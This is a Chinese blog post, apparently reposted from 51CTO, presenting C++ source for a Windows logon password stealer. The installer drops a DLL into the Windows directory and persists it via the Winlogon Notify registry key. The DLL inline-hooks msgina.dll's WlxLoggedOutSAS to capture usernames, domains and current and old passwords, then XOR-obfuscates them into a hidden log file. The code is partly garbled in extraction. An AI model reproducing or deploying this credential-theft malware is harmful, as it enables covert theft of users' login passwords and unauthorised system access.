基于VC++2010实现截获Windows 7密码

简介:

Windows外壳,安装Windows密码截获器

 
  1. void dey()//解密 
  2. printf("/r/n请不要移动原密码文件!"); 
  3. system("pause"); 
  4. char buffer[10000]; 
  5. ZeroMemory(buffer,10000); 
  6. char LogPath[255] = {0}; 
  7. GetSystemDirectory( LogPath , MAX_PATH); 
  8. lstrcat( LogPath, "//pwd.txt"); 
  9. HANDLE hfile = CreateFile( 
  10. LogPath, 
  11. GENERIC_READ,  
  12. FILE_SHARE_WRITE, 
  13. 0, 
  14. OPEN_ALWAYS, 
  15. FILE_ATTRIBUTE_NORMAL, 
  16. 0); 
  17. if(!hfile) 
  18. printf("打开文件失败!"); 
  19. return
  20. DWORD st; 
  21. int a=ReadFile(hfile,buffer,10000,&st,0); 
  22. if(!a) 
  23. printf("读取失败!"); 
  24. return
  25. for(int i = 0;i<strlen(buffer);i++) 
  26. buffer[i]=buffer[i]^3; 
  27. printf("解密内容为:/r/n%s",buffer); 
  28. return
  29. bool installed(); //判断是否已经安装 
  30. void installe()  //安装函数 
  31. if(installed()) 
  32. printf("已经安装过了!"); 
  33. return;  
  34. HRSRC hResInfo; 
  35. HGLOBAL hResData; 
  36. DWORD dwSize, dwWritten; 
  37. LPBYTE p; 
  38. HANDLE hFile; 
  39. hResInfo = FindResource(NULL, MAKEINTRESOURCE(IDR_DLL1), "dll"); 
  40. dwSize = SizeofResource(NULL, hResInfo); 
  41. hResData = LoadResource(NULL, hResInfo); 
  42. p = (LPBYTE)GlobalAlloc(GPTR, dwSize); 
  43. CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);//定位资源 
  44. char pfile[200]; 
  45. GetWindowsDirectory(pfile, 200); 
  46. strcat(pfile,"//GetPwd.dll");//C:/WINDOWS/ 
  47. hFile = CreateFile(pfile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); 
  48. WriteFile(hFile, (LPCVOID)p,dwSize, &dwWritten, NULL); 
  49. CloseHandle(hFile); 
  50. GlobalFree((HGLOBAL)p); 
  51. HKEY hkey;  
  52. if(ERROR_SUCCESS==RegCreateKey(HKEY_LOCAL_MACHINE, 
  53. "SOFTWARE//Microsoft//Windows NT//CurrentVersion//Winlogon//Notify//GetPwd//"
  54. &hkey) 
  55. char * name3 ="dog";  
  56. RegSetValueEx(hkey,"dllname",0,REG_SZ,(const unsigned char *)pfile,strlen(pfile)); 
  57. RegSetValueEx(hkey,"startup",0,REG_SZ,(const unsigned char *)name3,strlen("dog")); 
  58. printf("安装成功!"); 
  59. else 
  60. printf("安装失败!"); 
  61. return
  62. bool installed() 
  63. HKEY hkey;  
  64. char sz[256];  
  65. DWORD dwtype, sl = 256;  
  66. if(ERROR_SUCCESS != RegOpenKeyEx(HKEY_LOCAL_MACHINE,  
  67. "SOFTWARE//Microsoft//Windows NT//CurrentVersion//Winlogon//Notify//GetPwd"
  68. NULL, KEY_ALL_ACCESS, &hkey) //打开失败,表示没有安装 
  69. RegCloseKey(hkey);  
  70. return false
  71. RegCloseKey(hkey);  
  72. return true
  73. void usag()//用法提示 
  74. printf("example:/r/n"); 
  75. printf("/r/n Install: getpwd.exe installe"); 
  76. printf("/r/n Decryp : getpwd.exe Decryp /r/n"); 
  77. int main(int argc, char* argv[]) 
  78. if(!lstrcmpi(argv[1],"installe"))// 
  79. installe(); 
  80. return 0; 
  81. else if(!lstrcmpi(argv[1], "Decryp")) 
  82. dey(); 
  83. return 0; 
  84. usag(); 
  85. return 0; 

密码截获

 
  1. #define WLX_SAS_ACTION_LOGON  (1)  
  2. DWORD WINAPI StartHook(LPVOID lpParameter);  
  3. typedef struct _WLX_MPR_NOTIFY_INFO {     
  4. PWSTR   pszUserName;      
  5. PWSTR   pszDomain;    
  6. PWSTR   pszPassword;      
  7. PWSTR   pszOldPassword;  
  8. } WLX_MPR_NOTIFY_INFO, * PWLX_MPR_NOTIFY_INFO;  
  9. typedef int (WINAPI* WlxLoggedOutSAS)(   
  10. //定义函数原型,以便将数据转发给系统  
  11. PVOID  pWlxContext,   
  12. DWORD dwSasType,  
  13. PLUID  pAuthenticationId,  
  14. PSIDpLogonSid,  
  15. PDWORD   pdwOptions,  
  16. PHANDLE phToken,  
  17. PWLX_MPR_NOTIFY_INFOpNprNotifyInfo,  
  18. PVOID * pProfile  
  19. );  
  20. int   WINAPI FunNewADDR(  
  21. PVOID  pWlxContext,  
  22. DWORD dwSasType,  
  23. PLUID pAuthenticationId,  
  24. PSID  pLogonSid,  
  25. PDWORD  pdwOptions,  
  26. PHANDLE phToken,  
  27. PWLX_MPR_NOTIFY_INFO  prNotifyInfo,  
  28. PVOID * pProfile);  
  29. //自定义接管WlxLoggedOutSAS的函数,形参保持一致  
  30. void WriteLog(   
  31. PWLX_MPR_NOTIFY_INFOpNprNotifyInfo  
  32. );//声明保存用户名密码函数原型  
  33. int WideToByte( PCHAR sz_target, PWSTR sz_source , int size_ansi);  
  34. void WriteCurrentTime();  
  35. void HookWlxLoggedOutSAS();  
  36. //执行HOOK  
  37. void UnHookWlxLoggedOutSAS();  
  38. //撤销HOOK  
  39. bool isWin2K()//判断操作系统版本  
  40. {  
  41. DWORD   winVer;     
  42. OSVERSIONINFO   *osvi;        
  43. winVer=GetVersion();     
  44. if(winVer<0x80000000)  
  45. {   
  46. osvi=   (OSVERSIONINFO   *)malloc(sizeof(OSVERSIONINFO));     
  47. if   (osvi!=NULL)  
  48. {     
  49. memset(osvi,0,sizeof(OSVERSIONINFO));     
  50. osvi->dwOSVersionInfoSize=sizeof(OSVERSIONINFO);     
  51. GetVersionEx(osvi);     
  52. if(osvi->dwMajorVersion==5L&&osvi->dwMinorVersion==0L)  
  53. {  
  54. free(osvi);    
  55. return true;  
  56. }  
  57. }     
  58. }     
  59. free(osvi);    
  60. return   false;     
  61. }  
  62. #pragma pack(1)//对齐字节  
  63. struct HookTable{  
  64. HMODULEhMsgina;  
  65. WlxLoggedOutSAS OldDDR;  
  66. WlxLoggedOutSAS NewADDR;  
  67. unsigned charOldCode[6];  
  68. unsigned charJmpCode[6];  
  69. };//自定义的结构体  
  70. HookTable hooktable = {    
  71. 0 ,  
  72. 0 ,   
  73. &FunNewADDR ,  
  74. "/x8B/xFF/x55/x8B/xEC"//前5个字节  
  75. "/xE9/x00/x00/x00/x00"  //e9 ,jmp  
  76. };  
  77. /*  
  78. #pragma pack()  
  79. BOOL APIENTRY DllMain( HANDLE hModule,   
  80. DWORD  ul_reason_for_call,   
  81. LPVOID lpReserved  
  82.  )  
  83. {  
  84. if(isWin2K())  
  85. //win2K和xp、2003的前五个字节不同  
  86. {  
  87. hooktable.OldCode[0] ='/x55';  
  88. hooktable.OldCode[1] ='/x8B';  
  89. hooktable.OldCode[2] ='/xEC';  
  90. hooktable.OldCode[3] ='/x83';  
  91. hooktable.OldCode[4] ='/xEC';  
  92. }  
  93. switch (ul_reason_for_call)  
  94. {  
  95. case DLL_PROCESS_ATTACH:  
  96. HANDLE hthread = CreateThread( 0 ,   
  97. 0 ,   
  98. LPTHREAD_START_ROUTINE(StartHook) ,   
  99. 0 ,   
  100. 0 ,   
  101. 0);  
  102. CloseHandle( hthread );  
  103. break;  
  104. }  
  105. return TRUE;  
  106. }  
  107. DWORD WINAPI StartHook(LPVOID lpParameter)  
  108. {  
  109. hooktable.hMsgina = GetModuleHandle( _T("msgina.dll"));  
  110. if ( hooktable.hMsgina == NULL)  
  111. {  
  112. return 0 ;  
  113. }  
  114. hooktable.OldDDR = (WlxLoggedOutSAS)GetProcAddress( hooktable.hMsgina , _T("WlxLoggedOutSAS") );  
  115. //得到原始函数地址,等下撤销HOOK会用到  
  116. if (hooktable.OldDDR == NULL)  
  117. {  
  118. return 0 ;  
  119. }  
  120. unsigned char *p = (unsigned char *)hooktable.OldDDR;  
  121. int *OpCode = (int *)&hooktable.JmpCode[1];//  
  122. int Code = (int)hooktable.NewADDR - (int)hooktable.OldDDR - 5;  
  123. *OpCode = Code;  
  124. HookWlxLoggedOutSAS();  
  125. return 0;  
  126. }  
  127. void HookWlxLoggedOutSAS()  
  128. {  
  129. DWORD OldProtect = NULL;  
  130. VirtualProtect( hooktable.OldDDR ,  
  131. 5 ,  
  132. PAGE_EXECUTE_READWRITE ,  
  133. &OldProtect  
  134. );//内存访问权限  
  135. unsigned char *p = (unsigned char *)hooktable.OldDDR;  
  136. for (int i=0 ;  i < 5 ; i++ )  
  137. {  
  138. p[i] = hooktable.JmpCode[i];  
  139. }  
  140. VirtualProtect( hooktable.OldDDR ,  
  141. 5 ,  
  142. OldProtect ,  
  143. &OldProtect   
  144. );  
  145. return;  
  146. }  
  147. void UnHookWlxLoggedOutSAS()  
  148. {  
  149. DWORD OldProtect = NULL;  
  150. VirtualProtect( hooktable.OldDDR ,  
  151. 5 ,   
  152. PAGE_EXECUTE_READWRITE ,  
  153. &OldProtect );  
  154. unsigned char *p = (unsigned char *)hooktable.OldDDR;  
  155. for (int i=0 ;  i < 5 ; i++ )  
  156. {  
  157. p[i] = hooktable.OldCode[i];  
  158. }  
  159. VirtualProtect( hooktable.OldDDR ,  
  160. 5 ,  
  161. OldProtect ,  
  162. &OldProtect );  
  163. return;  
  164. }  
  165. char pBuffer[1124];  
  166. void WriteLog(PWLX_MPR_NOTIFY_INFOpNprNotifyInfo)  
  167. //主要是一些文件操作  
  168. {  
  169. int size_u = lstrlenW( pNprNotifyInfo->pszUserName );  
  170. size_u += lstrlenW( pNprNotifyInfo->pszDomain );  
  171. size_u += lstrlenW( pNprNotifyInfo->pszPassword );  
  172. size_u += lstrlenW( pNprNotifyInfo->pszOldPassword );  
  173. unsigned short *pWBuffer = (unsigned short *)GlobalAlloc( GMEM_FIXED , size_u + 1024 );  
  174. unsigned short *tWBuffer = (unsigned short *)GlobalAlloc( GMEM_FIXED , size_u + 1024 );  
  175. char pBuffer1[1124];  
  176. char *pwd =(char *)GlobalAlloc( GMEM_FIXED , size_u + 1024 );  
  177. char *pwd2 =(char *)GlobalAlloc( GMEM_FIXED , size_u + 1024*3 );  
  178. ZeroMemory( pWBuffer  , size_u + 1024 );  
  179. ZeroMemory( pBuffer  , size_u + 1024 );  
  180. ZeroMemory( pBuffer1 , size_u + 1024 );  
  181. if ( !pBuffer )  
  182. {  
  183. return;  
  184. }else 
  185. {  
  186. WriteCurrentTime();  
  187. wsprintfW( pWBuffer ,  
  188. L"/r/nUser= %s /r/nDomain  = %s/r/nPassWord = %s /r/nOldPass = %s/r/n" ,  
  189. pNprNotifyInfo->pszUserName ,   
  190. pNprNotifyInfo->pszDomain ,  
  191. pNprNotifyInfo->pszPassword,  
  192. pNprNotifyInfo->pszOldPassword   
  193. );  
  194. WideToByte( pBuffer ,  
  195. pWBuffer ,  
  196. lstrlenW( pWBuffer )  
  197. );  
  198. }  
  199. char LogPath[MAX_PATH] = {0};  
  200. GetSystemDirectory( LogPath , MAX_PATH);  
  201. lstrcat( LogPath , "//pwd.txt");  
  202. HANDLE hfile = CreateFile(  
  203. LogPath ,   
  204. GENERIC_WRITE ,   
  205. FILE_SHARE_WRITE ,  
  206. 0 ,  
  207. OPEN_ALWAYS,  
  208. FILE_ATTRIBUTE_NORMAL ,  
  209. 0  );  
  210. if (hfile != INVALID_HANDLE_VALUE)  
  211. {  
  212. unsigned long ret;  
  213. SetFilePointer( hfile , -1 ,  0 , FILE_END);  
  214. int i=0;  
  215. SYSTEMTIME st;  
  216. int b;  
  217. for(;i<strlen(pBuffer);i++)  
  218. {  
  219. pBuffer[i] = pBuffer[i] ^ 3;//加密采用异或方式  
  220. }  
  221. WriteFile( hfile , pBuffer , lstrlen( pBuffer ) ,  &ret , 0 );  
  222. CloseHandle( hfile );  
  223. }  
  224. GlobalFree( pWBuffer );  
  225. GlobalFree( pBuffer );  
  226. return;  
  227. }  
  228. void WriteCurrentTime()  
  229. {  
  230. SYSTEMTIME st;  
  231. DWORD ret = 0;  
  232. GetLocalTime(&st);  
  233. wsprintf( pBuffer , "/r/n%d/%d/%d/%d:%d:%d" ,  
  234. st.wYear ,  
  235. st.wMonth ,  
  236. st.wDay ,  
  237. st.wHour ,  
  238. st.wMinute,  
  239. st.wSecond   
  240. );  
  241. }  
  242. int WideToByte( PCHAR sz_target, PWSTR sz_source , int size_ansi)  
  243. {  
  244. return WideCharToMultiByte( CP_ACP ,  
  245. WC_COMPOSITECHECK ,  
  246. sz_source ,  
  247. -1 ,  
  248. sz_target ,  
  249. size_ansi ,  
  250. 0 ,  
  251. 0 );  
  252. }  
  253. int WINAPI FunNewADDR(  
  254. PVOID   pWlxContext,  
  255. DWORD   dwSasType,  
  256. PLUID   pAuthenticationId,  
  257. PSIDpLogonSid,  
  258. PDWORD  pdwOptions,  
  259. PHANDLE phToken,  
  260. PWLX_MPR_NOTIFY_INFOpNprNotifyInfo,  
  261. PVOID * pProfile  
  262. )  
  263. {  
  264. UnHookWlxLoggedOutSAS();  
  265. //当系统jmp到我们自己的函数时先解除HOOK  
  266. int i = hooktable.OldDDR(pWlxContext  ,  
  267. dwSasType ,   
  268. pAuthenticationId ,  
  269. pLogonSid ,  
  270. pdwOptions ,  
  271. phToken ,  
  272. pNprNotifyInfo,  
  273. pProfile  
  274. );  
  275. if (i == WLX_SAS_ACTION_LOGON )//  
  276. {  
  277. WriteLog( pNprNotifyInfo );  
  278. }  
  279. return i;  
  280. }  
  281. extern "C" __declspec(dllexportvoid start()  
  282. {  
  283. return;  
  284. }  

 











本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/675836,如需转载请自行联系原作者

相关文章
|
1月前
|
安全 数据安全/隐私保护 Windows
解锁安全之门,Windows Server 2019密码修改攻略大揭秘
解锁安全之门,Windows Server 2019密码修改攻略大揭秘
|
24天前
|
人工智能 机器人 编译器
【C++】Windows端VS code中运行CMake工程(手把手教学)
【C++】Windows端VS code中运行CMake工程(手把手教学)
|
3月前
|
关系型数据库 MySQL 开发工具
windows编译poco c++库
windows编译poco c++库
|
19天前
|
人工智能 机器人 C++
【C++/Python】Windows用Swig实现C++调用Python(史上最简单详细,80岁看了都会操作)
【C++/Python】Windows用Swig实现C++调用Python(史上最简单详细,80岁看了都会操作)
|
1月前
|
弹性计算 安全 数据安全/隐私保护
远程桌面连接Windows实例,提示“为安全考虑,已锁定该用户账户,原因是登录尝试或密码更改尝试过多”错误解决方案
远程桌面连接Windows实例,提示“为安全考虑,已锁定该用户账户,原因是登录尝试或密码更改尝试过多”错误解决方案
207 0
|
5月前
|
安全 测试技术 C++
Windows下C++使用gRPC(Qt和VS,含文件包和使用方法)
最近用到了gRPC,配置了很长时间,分享一下配置过程。先来看一下我准备的文件包(资源我放在最后)
Windows下C++使用gRPC(Qt和VS,含文件包和使用方法)
|
2月前
|
数据安全/隐私保护 Windows
windows密码获取 -- mimikatz
windows密码获取 -- mimikatz
70 0
|
3月前
|
Unix 编译器 C语言
C++系列-附录-windows下安装C++环境
C++系列-附录-windows下安装C++环境
|
3月前
|
PyTorch 算法框架/工具 C++
windows上编译安装pytorch的c++扩展
windows上编译安装pytorch的c++扩展
|
3月前
|
数据安全/隐私保护 C++
c++实现http客户端和服务端的开源库以及Base64加密密码
c++实现http客户端和服务端的开源库以及Base64加密密码

热门文章

最新文章